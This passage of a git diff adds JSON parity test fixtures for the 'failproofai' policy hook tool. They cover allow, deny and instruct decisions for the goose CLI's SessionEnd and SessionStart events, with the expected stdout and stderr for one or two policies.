{ + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ca7664ec --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6fbb7dc7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..10411616 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..60c484f7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..83a0da3c --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..92fcaf4b --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..32a2a25f --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..43972c8d --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..02fe1539 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..1bee93ec --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..673c2797 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..dd46c040 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..7140c894 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ca7efdc1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..9d45488d --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..df8dc6df --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..dc89be55 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7ce7d5b4 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..227d785b --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9ba03488 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": 